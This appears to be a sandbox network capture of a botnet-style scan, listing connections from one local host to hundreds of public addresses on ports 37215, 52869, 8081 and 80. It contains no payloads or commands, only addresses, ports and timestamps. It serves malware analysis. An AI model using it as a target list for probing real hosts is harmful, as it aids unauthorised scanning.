Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	197.21.34.233
Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	207.134.190.180
Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	197.180.98.210
Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	41.34.74.201
Jul 20, 2024 23:05:44.875627041 CEST	44719	37215	192.168.2.13	135.118.57.223
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	17.56.166.175
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	32.122.5.126
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	157.83.110.88
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	146.209.115.112
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	41.57.65.199
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	157.245.33.48
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	41.134.112.253
Jul 20, 2024 23:05:44.876183987 CEST	44719	37215	192.168.2.13	58.188.124.139
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	112.91.116.109
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	4.142.254.239
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	85.31.225.149
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	94.192.41.225
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	207.115.210.11
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	60.65.218.208
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	107.215.202.123
Jul 20, 2024 23:05:44.876260996 CEST	43695	52869	192.168.2.13	171.78.8.235
Jul 20, 2024 23:05:44.878249884 CEST	44719	37215	192.168.2.13	157.247.94.161
Jul 20, 2024 23:05:44.878251076 CEST	44719	37215	192.168.2.13	157.162.115.66
Jul 20, 2024 23:05:44.878251076 CEST	44719	37215	192.168.2.13	197.171.8.74
Jul 20, 2024 23:05:44.878251076 CEST	44719	37215	192.168.2.13	157.84.103.232
Jul 20, 2024 23:05:44.878251076 CEST	44719	37215	192.168.2.13	41.154.238.129
Jul 20, 2024 23:05:44.878251076 CEST	44719	37215	192.168.2.13	157.53.106.243
Jul 20, 2024 23:05:44.878251076 CEST	44719	37215	192.168.2.13	157.203.252.124
Jul 20, 2024 23:05:44.878251076 CEST	43695	52869	192.168.2.13	198.91.167.171
Jul 20, 2024 23:05:44.878729105 CEST	43695	52869	192.168.2.13	47.161.92.158
Jul 20, 2024 23:05:44.878729105 CEST	43695	52869	192.168.2.13	182.14.252.2
Jul 20, 2024 23:05:44.878729105 CEST	43695	52869	192.168.2.13	95.180.184.233
Jul 20, 2024 23:05:44.878730059 CEST	43695	52869	192.168.2.13	37.236.222.81
Jul 20, 2024 23:05:44.878730059 CEST	43695	52869	192.168.2.13	43.57.119.26
Jul 20, 2024 23:05:44.878730059 CEST	43695	52869	192.168.2.13	168.173.10.54
Jul 20, 2024 23:05:44.878730059 CEST	43695	52869	192.168.2.13	146.199.133.2
Jul 20, 2024 23:05:44.878730059 CEST	43695	52869	192.168.2.13	75.173.239.89
Jul 20, 2024 23:05:44.878730059 CEST	57312	8081	192.168.2.13	117.148.184.206
Jul 20, 2024 23:05:44.880743980 CEST	45182	80	192.168.2.13	95.185.121.56
Jul 20, 2024 23:05:44.880744934 CEST	58504	80	192.168.2.13	95.17.196.163
Jul 20, 2024 23:05:44.880830050 CEST	43695	52869	192.168.2.13	70.59.130.45
Jul 20, 2024 23:05:44.880830050 CEST	43695	52869	192.168.2.13	154.231.55.145
Jul 20, 2024 23:05:44.880830050 CEST	43695	52869	192.168.2.13	160.190.170.122
Jul 20, 2024 23:05:44.880831003 CEST	43695	52869	192.168.2.13	85.148.77.203
Jul 20, 2024 23:05:44.880831003 CEST	43695	52869	192.168.2.13	139.33.173.153
Jul 20, 2024 23:05:44.880831003 CEST	43695	52869	192.168.2.13	117.179.3.179
Jul 20, 2024 23:05:44.880831003 CEST	43695	52869	192.168.2.13	72.243.193.23
Jul 20, 2024 23:05:44.880831003 CEST	43695	52869	192.168.2.13	13.235.137.177
Jul 20, 2024 23:05:44.880913019 CEST	43168	52869	192.168.2.13	36.180.172.129
Jul 20, 2024 23:05:44.881963968 CEST	37215	37062	197.17.54.113	192.168.2.13
Jul 20, 2024 23:05:44.882014036 CEST	37062	37215	192.168.2.13	197.17.54.113
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	109.25.94.232
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	103.15.164.98
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	93.162.35.46
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	82.193.155.243
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	212.81.177.224
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	101.95.172.46
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	102.164.220.212
Jul 20, 2024 23:05:44.882401943 CEST	43695	52869	192.168.2.13	14.18.73.239
Jul 20, 2024 23:05:44.882895947 CEST	37818	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:44.882895947 CEST	37818	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:44.883948088 CEST	43695	52869	192.168.2.13	59.104.83.26
Jul 20, 2024 23:05:44.883948088 CEST	43695	52869	192.168.2.13	74.105.237.23
Jul 20, 2024 23:05:44.883948088 CEST	43695	52869	192.168.2.13	150.168.191.178
Jul 20, 2024 23:05:44.883948088 CEST	43695	52869	192.168.2.13	177.60.248.200
Jul 20, 2024 23:05:44.883948088 CEST	43695	52869	192.168.2.13	98.232.97.199
Jul 20, 2024 23:05:44.884169102 CEST	36106	80	192.168.2.13	95.239.165.65
Jul 20, 2024 23:05:44.884169102 CEST	60306	80	192.168.2.13	95.143.222.132
Jul 20, 2024 23:05:44.884341002 CEST	43695	52869	192.168.2.13	24.106.137.173
Jul 20, 2024 23:05:44.884341002 CEST	43695	52869	192.168.2.13	35.238.156.67
Jul 20, 2024 23:05:44.884341002 CEST	43695	52869	192.168.2.13	76.33.91.119
Jul 20, 2024 23:05:44.884341002 CEST	43695	52869	192.168.2.13	80.194.29.81
Jul 20, 2024 23:05:44.884341002 CEST	43695	52869	192.168.2.13	38.143.29.99
Jul 20, 2024 23:05:44.884341002 CEST	43695	52869	192.168.2.13	147.75.131.20
Jul 20, 2024 23:05:44.884341002 CEST	43695	52869	192.168.2.13	90.103.49.222
Jul 20, 2024 23:05:44.885951042 CEST	38084	8081	192.168.2.13	118.106.200.8
Jul 20, 2024 23:05:44.886188030 CEST	43695	52869	192.168.2.13	2.163.212.95
Jul 20, 2024 23:05:44.886188030 CEST	43695	52869	192.168.2.13	114.200.0.186
Jul 20, 2024 23:05:44.886188030 CEST	43695	52869	192.168.2.13	62.147.240.163
Jul 20, 2024 23:05:44.886188030 CEST	43695	52869	192.168.2.13	5.107.20.80
Jul 20, 2024 23:05:44.886188030 CEST	43695	52869	192.168.2.13	213.6.2.53
Jul 20, 2024 23:05:44.886360884 CEST	43695	52869	192.168.2.13	25.177.197.20
Jul 20, 2024 23:05:44.886812925 CEST	50170	52869	192.168.2.13	131.82.186.16
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	71.118.138.176
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	24.112.108.177
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	100.162.192.30
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	109.202.190.223
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	206.175.37.85
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	197.232.182.20
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	115.184.146.203
Jul 20, 2024 23:05:44.887283087 CEST	43695	52869	192.168.2.13	179.89.127.176
Jul 20, 2024 23:05:44.887437105 CEST	43695	52869	192.168.2.13	175.155.101.178
Jul 20, 2024 23:05:44.887437105 CEST	43695	52869	192.168.2.13	36.122.31.202
Jul 20, 2024 23:05:44.887437105 CEST	43695	52869	192.168.2.13	9.75.8.22
Jul 20, 2024 23:05:44.887437105 CEST	43695	52869	192.168.2.13	185.81.177.164
Jul 20, 2024 23:05:44.887437105 CEST	43695	52869	192.168.2.13	196.148.71.131
Jul 20, 2024 23:05:44.887437105 CEST	43695	52869	192.168.2.13	142.120.198.214
Jul 20, 2024 23:05:44.887438059 CEST	43695	52869	192.168.2.13	187.17.62.193
Jul 20, 2024 23:05:44.888056040 CEST	43695	52869	192.168.2.13	203.164.148.156
Jul 20, 2024 23:05:44.888056040 CEST	43695	52869	192.168.2.13	102.70.18.79
Jul 20, 2024 23:05:44.888056040 CEST	43695	52869	192.168.2.13	86.3.206.89
Jul 20, 2024 23:05:44.888056993 CEST	43695	52869	192.168.2.13	144.157.190.123
Jul 20, 2024 23:05:44.888762951 CEST	52869	43168	36.180.172.129	192.168.2.13
Jul 20, 2024 23:05:44.888835907 CEST	43168	52869	192.168.2.13	36.180.172.129
Jul 20, 2024 23:05:44.889012098 CEST	80	37818	95.37.52.245	192.168.2.13
Jul 20, 2024 23:05:44.889298916 CEST	80	37818	95.37.52.245	192.168.2.13
Jul 20, 2024 23:05:44.889627934 CEST	40344	37215	192.168.2.13	157.44.153.97
Jul 20, 2024 23:05:44.890507936 CEST	53414	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:44.891541004 CEST	8081	38084	118.106.200.8	192.168.2.13
Jul 20, 2024 23:05:44.891653061 CEST	38084	8081	192.168.2.13	118.106.200.8
Jul 20, 2024 23:05:44.891654015 CEST	43695	52869	192.168.2.13	41.131.184.33
Jul 20, 2024 23:05:44.892555952 CEST	52869	50170	131.82.186.16	192.168.2.13
Jul 20, 2024 23:05:44.892607927 CEST	50170	52869	192.168.2.13	131.82.186.16
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	156.55.6.20
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	143.56.55.183
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	108.155.162.179
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	35.12.142.12
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	83.166.159.0
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	66.233.74.150
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	31.206.134.66
Jul 20, 2024 23:05:44.892822027 CEST	43695	52869	192.168.2.13	102.161.177.239
Jul 20, 2024 23:05:44.893248081 CEST	43695	52869	192.168.2.13	164.141.244.8
Jul 20, 2024 23:05:44.893248081 CEST	58504	80	192.168.2.13	95.17.196.163
Jul 20, 2024 23:05:44.893249035 CEST	45182	80	192.168.2.13	95.185.121.56
Jul 20, 2024 23:05:44.893537998 CEST	43695	52869	192.168.2.13	19.1.91.223
Jul 20, 2024 23:05:44.893537998 CEST	43695	52869	192.168.2.13	146.55.210.221
Jul 20, 2024 23:05:44.893537998 CEST	43695	52869	192.168.2.13	41.89.210.181
Jul 20, 2024 23:05:44.893537998 CEST	43695	52869	192.168.2.13	61.186.30.91
Jul 20, 2024 23:05:44.893537998 CEST	43695	52869	192.168.2.13	78.83.102.206
Jul 20, 2024 23:05:44.893537998 CEST	43695	52869	192.168.2.13	178.224.47.139
Jul 20, 2024 23:05:44.893537998 CEST	43695	52869	192.168.2.13	45.228.227.144
Jul 20, 2024 23:05:44.893573999 CEST	35484	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:44.893573999 CEST	35484	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:44.894489050 CEST	8081	48504	171.210.244.37	192.168.2.13
Jul 20, 2024 23:05:44.894948959 CEST	44674	80	192.168.2.13	95.134.175.82
Jul 20, 2024 23:05:44.895490885 CEST	35924	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	210.63.32.117
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	144.201.3.84
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	122.70.145.36
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	64.200.199.21
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	166.58.40.96
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	46.10.47.130
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	43.36.113.219
Jul 20, 2024 23:05:44.896176100 CEST	43695	52869	192.168.2.13	69.72.200.86
Jul 20, 2024 23:05:44.896363974 CEST	48504	8081	192.168.2.13	171.210.244.37
Jul 20, 2024 23:05:44.896815062 CEST	44719	37215	192.168.2.13	41.110.103.205
Jul 20, 2024 23:05:44.896815062 CEST	44719	37215	192.168.2.13	54.33.48.195
Jul 20, 2024 23:05:44.896815062 CEST	44719	37215	192.168.2.13	199.177.55.230
Jul 20, 2024 23:05:44.896815062 CEST	44719	37215	192.168.2.13	157.192.66.118
Jul 20, 2024 23:05:44.896815062 CEST	44719	37215	192.168.2.13	197.99.45.206
Jul 20, 2024 23:05:44.897572041 CEST	50186	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:44.897572041 CEST	50186	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:44.898467064 CEST	46224	52869	192.168.2.13	39.125.186.30
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	105.8.172.1
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	87.91.250.120
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	123.39.250.114
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	132.97.210.26
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	142.197.251.141
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	67.132.33.229
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	199.205.235.58
Jul 20, 2024 23:05:44.899292946 CEST	43695	52869	192.168.2.13	97.142.102.69
Jul 20, 2024 23:05:44.899374962 CEST	37215	40344	157.44.153.97	192.168.2.13
Jul 20, 2024 23:05:44.899418116 CEST	40344	37215	192.168.2.13	157.44.153.97
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	19.161.78.222
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	24.74.242.144
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	144.109.48.201
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	53.190.177.104
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	113.21.181.164
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	183.115.103.194
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	132.70.96.204
Jul 20, 2024 23:05:44.899447918 CEST	43695	52869	192.168.2.13	24.79.237.32
Jul 20, 2024 23:05:44.899605036 CEST	80	53414	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:44.899612904 CEST	36692	8081	192.168.2.13	76.128.166.144
Jul 20, 2024 23:05:44.899622917 CEST	80	58496	95.172.181.119	192.168.2.13
Jul 20, 2024 23:05:44.899727106 CEST	53414	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:44.901765108 CEST	80	35484	95.207.7.187	192.168.2.13
Jul 20, 2024 23:05:44.901779890 CEST	80	45182	95.185.121.56	192.168.2.13
Jul 20, 2024 23:05:44.901916981 CEST	44719	37215	192.168.2.13	41.103.210.9
Jul 20, 2024 23:05:44.901916981 CEST	44719	37215	192.168.2.13	157.42.125.17
Jul 20, 2024 23:05:44.901916981 CEST	44719	37215	192.168.2.13	216.61.151.61
Jul 20, 2024 23:05:44.901916981 CEST	44719	37215	192.168.2.13	41.143.128.142
Jul 20, 2024 23:05:44.901916981 CEST	44719	37215	192.168.2.13	157.81.218.133
Jul 20, 2024 23:05:44.901916981 CEST	44719	37215	192.168.2.13	157.69.65.73
Jul 20, 2024 23:05:44.901916981 CEST	44719	37215	192.168.2.13	197.203.211.123
Jul 20, 2024 23:05:44.902959108 CEST	80	58504	95.17.196.163	192.168.2.13
Jul 20, 2024 23:05:44.903343916 CEST	60306	80	192.168.2.13	95.143.222.132
Jul 20, 2024 23:05:44.903343916 CEST	51992	80	192.168.2.13	95.239.206.180
Jul 20, 2024 23:05:44.903635979 CEST	60562	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:44.903671980 CEST	80	35924	95.207.7.187	192.168.2.13
Jul 20, 2024 23:05:44.903681993 CEST	37215	37062	197.17.54.113	192.168.2.13
Jul 20, 2024 23:05:44.903712034 CEST	35924	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	219.163.227.14
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	212.37.14.168
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	223.159.115.236
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	94.184.209.167
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	27.227.89.153
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	152.187.71.156
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	222.241.13.44
Jul 20, 2024 23:05:44.903764009 CEST	43695	52869	192.168.2.13	182.32.199.224
Jul 20, 2024 23:05:44.904005051 CEST	80	50186	95.70.247.253	192.168.2.13
Jul 20, 2024 23:05:44.904248953 CEST	80	50186	95.70.247.253	192.168.2.13
Jul 20, 2024 23:05:44.904253960 CEST	52869	46224	39.125.186.30	192.168.2.13
Jul 20, 2024 23:05:44.904608011 CEST	37062	37215	192.168.2.13	197.17.54.113
Jul 20, 2024 23:05:44.904655933 CEST	46224	52869	192.168.2.13	39.125.186.30
Jul 20, 2024 23:05:44.904736042 CEST	44719	37215	192.168.2.13	157.244.185.202
Jul 20, 2024 23:05:44.904736042 CEST	44719	37215	192.168.2.13	157.50.60.75
Jul 20, 2024 23:05:44.904736996 CEST	44719	37215	192.168.2.13	90.247.125.95
Jul 20, 2024 23:05:44.904736996 CEST	44719	37215	192.168.2.13	174.54.235.104
Jul 20, 2024 23:05:44.904736996 CEST	44719	37215	192.168.2.13	41.17.70.158
Jul 20, 2024 23:05:44.904736996 CEST	44719	37215	192.168.2.13	197.95.161.119
Jul 20, 2024 23:05:44.904736996 CEST	44719	37215	192.168.2.13	41.132.35.1
Jul 20, 2024 23:05:44.904736996 CEST	44719	37215	192.168.2.13	193.43.6.237
Jul 20, 2024 23:05:44.904993057 CEST	8081	36692	76.128.166.144	192.168.2.13
Jul 20, 2024 23:05:44.905103922 CEST	36692	8081	192.168.2.13	76.128.166.144
Jul 20, 2024 23:05:44.905380964 CEST	44719	37215	192.168.2.13	157.145.183.202
Jul 20, 2024 23:05:44.905380964 CEST	44719	37215	192.168.2.13	134.212.203.245
Jul 20, 2024 23:05:44.905380964 CEST	44719	37215	192.168.2.13	157.230.229.245
Jul 20, 2024 23:05:44.905380964 CEST	44719	37215	192.168.2.13	101.157.112.12
Jul 20, 2024 23:05:44.905380964 CEST	44719	37215	192.168.2.13	41.216.36.70
Jul 20, 2024 23:05:44.905381918 CEST	44719	37215	192.168.2.13	197.161.215.90
Jul 20, 2024 23:05:44.905381918 CEST	44719	37215	192.168.2.13	41.155.145.234
Jul 20, 2024 23:05:44.905381918 CEST	44719	37215	192.168.2.13	157.165.243.45
Jul 20, 2024 23:05:44.906336069 CEST	43695	52869	192.168.2.13	193.128.213.109
Jul 20, 2024 23:05:44.906336069 CEST	43695	52869	192.168.2.13	156.136.90.191
Jul 20, 2024 23:05:44.906336069 CEST	43695	52869	192.168.2.13	19.152.38.253
Jul 20, 2024 23:05:44.906336069 CEST	43695	52869	192.168.2.13	181.227.99.131
Jul 20, 2024 23:05:44.906336069 CEST	43695	52869	192.168.2.13	66.97.22.232
Jul 20, 2024 23:05:44.906336069 CEST	43695	52869	192.168.2.13	149.156.1.76
Jul 20, 2024 23:05:44.906336069 CEST	43695	52869	192.168.2.13	210.10.234.124
Jul 20, 2024 23:05:44.906456947 CEST	54436	37215	192.168.2.13	197.64.154.239
Jul 20, 2024 23:05:44.907202959 CEST	80	36106	95.239.165.65	192.168.2.13
Jul 20, 2024 23:05:44.907666922 CEST	80	60306	95.143.222.132	192.168.2.13
Jul 20, 2024 23:05:44.908592939 CEST	52869	43168	36.180.172.129	192.168.2.13
Jul 20, 2024 23:05:44.909095049 CEST	8081	38084	118.106.200.8	192.168.2.13
Jul 20, 2024 23:05:44.909588099 CEST	58526	8081	192.168.2.13	147.95.50.200
Jul 20, 2024 23:05:44.909694910 CEST	44719	37215	192.168.2.13	41.90.43.110
Jul 20, 2024 23:05:44.909694910 CEST	44719	37215	192.168.2.13	157.154.110.104
Jul 20, 2024 23:05:44.909694910 CEST	44719	37215	192.168.2.13	197.144.176.77
Jul 20, 2024 23:05:44.909694910 CEST	44719	37215	192.168.2.13	185.113.189.56
Jul 20, 2024 23:05:44.909694910 CEST	44719	37215	192.168.2.13	194.27.210.151
Jul 20, 2024 23:05:44.909694910 CEST	44719	37215	192.168.2.13	197.239.7.132
Jul 20, 2024 23:05:44.909694910 CEST	43695	52869	192.168.2.13	105.204.181.181
Jul 20, 2024 23:05:44.909694910 CEST	43695	52869	192.168.2.13	115.141.187.49
Jul 20, 2024 23:05:44.909701109 CEST	80	60562	95.186.32.116	192.168.2.13
Jul 20, 2024 23:05:44.909790039 CEST	60562	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:44.909965038 CEST	42178	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:44.910136938 CEST	52869	50170	131.82.186.16	192.168.2.13
Jul 20, 2024 23:05:44.911067963 CEST	80	44674	95.134.175.82	192.168.2.13
Jul 20, 2024 23:05:44.911469936 CEST	44984	37215	192.168.2.13	197.159.192.112
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	220.122.204.10
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	75.114.40.99
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	173.172.194.219
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	76.165.230.69
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	221.155.204.172
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	93.204.236.191
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	179.215.11.14
Jul 20, 2024 23:05:44.911618948 CEST	43695	52869	192.168.2.13	207.184.114.110
Jul 20, 2024 23:05:44.912372112 CEST	43168	52869	192.168.2.13	36.180.172.129
Jul 20, 2024 23:05:44.912372112 CEST	50170	52869	192.168.2.13	131.82.186.16
Jul 20, 2024 23:05:44.912372112 CEST	38084	8081	192.168.2.13	118.106.200.8
Jul 20, 2024 23:05:44.912517071 CEST	37215	54436	197.64.154.239	192.168.2.13
Jul 20, 2024 23:05:44.912555933 CEST	54436	37215	192.168.2.13	197.64.154.239
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	163.211.50.1
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	120.38.95.138
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	117.207.85.104
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	27.217.254.132
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	138.88.75.84
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	141.228.113.81
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	210.76.243.9
Jul 20, 2024 23:05:44.913644075 CEST	43695	52869	192.168.2.13	150.155.228.185
Jul 20, 2024 23:05:44.914237976 CEST	41922	52869	192.168.2.13	8.26.166.115
Jul 20, 2024 23:05:44.914412022 CEST	37215	40344	157.44.153.97	192.168.2.13
Jul 20, 2024 23:05:44.915118933 CEST	8081	58526	147.95.50.200	192.168.2.13
Jul 20, 2024 23:05:44.915158987 CEST	58526	8081	192.168.2.13	147.95.50.200
Jul 20, 2024 23:05:44.915471077 CEST	80	53414	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:44.915606022 CEST	80	42178	95.133.102.226	192.168.2.13
Jul 20, 2024 23:05:44.915663958 CEST	42178	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	175.51.103.237
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	74.148.254.117
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	93.251.211.51
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	52.176.210.28
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	179.80.6.155
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	175.158.208.42
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	205.49.222.205
Jul 20, 2024 23:05:44.915713072 CEST	43695	52869	192.168.2.13	73.135.137.143
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	197.77.106.195
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	182.199.59.168
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	197.115.8.156
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	197.90.62.12
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	101.218.8.191
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	41.160.102.231
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	197.76.251.122
Jul 20, 2024 23:05:44.916135073 CEST	44719	37215	192.168.2.13	197.17.169.171
Jul 20, 2024 23:05:44.916373968 CEST	53414	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:44.917154074 CEST	40344	37215	192.168.2.13	157.44.153.97
Jul 20, 2024 23:05:44.917372942 CEST	37215	44984	197.159.192.112	192.168.2.13
Jul 20, 2024 23:05:44.917895079 CEST	80	35924	95.207.7.187	192.168.2.13
Jul 20, 2024 23:05:44.918066025 CEST	44984	37215	192.168.2.13	197.159.192.112
Jul 20, 2024 23:05:44.918987989 CEST	54876	8081	192.168.2.13	163.215.202.155
Jul 20, 2024 23:05:44.919028997 CEST	80	51992	95.239.206.180	192.168.2.13
Jul 20, 2024 23:05:44.919450998 CEST	34368	52869	192.168.2.13	73.83.129.52
Jul 20, 2024 23:05:44.920253992 CEST	43695	52869	192.168.2.13	145.114.143.28
Jul 20, 2024 23:05:44.920253992 CEST	43695	52869	192.168.2.13	86.60.170.24
Jul 20, 2024 23:05:44.920254946 CEST	43695	52869	192.168.2.13	36.70.150.51
Jul 20, 2024 23:05:44.920254946 CEST	43695	52869	192.168.2.13	186.124.90.83
Jul 20, 2024 23:05:44.920254946 CEST	43695	52869	192.168.2.13	78.193.146.182
Jul 20, 2024 23:05:44.920254946 CEST	43695	52869	192.168.2.13	96.100.60.135
Jul 20, 2024 23:05:44.920254946 CEST	43695	52869	192.168.2.13	142.233.4.129
Jul 20, 2024 23:05:44.920504093 CEST	35924	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:44.920654058 CEST	52869	41922	8.26.166.115	192.168.2.13
Jul 20, 2024 23:05:44.920936108 CEST	52869	46224	39.125.186.30	192.168.2.13
Jul 20, 2024 23:05:44.921406984 CEST	41922	52869	192.168.2.13	8.26.166.115
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	87.132.111.115
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	80.81.2.148
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	110.23.134.15
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	59.146.169.141
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	120.58.9.3
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	145.129.175.91
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	184.55.70.29
Jul 20, 2024 23:05:44.921799898 CEST	43695	52869	192.168.2.13	62.168.46.31
Jul 20, 2024 23:05:44.922486067 CEST	43695	52869	192.168.2.13	8.80.8.183
Jul 20, 2024 23:05:44.922486067 CEST	43695	52869	192.168.2.13	138.236.222.12
Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	102.252.189.156
Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	107.223.3.102
Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	219.202.203.94
Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	145.205.215.26
Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	4.88.111.69
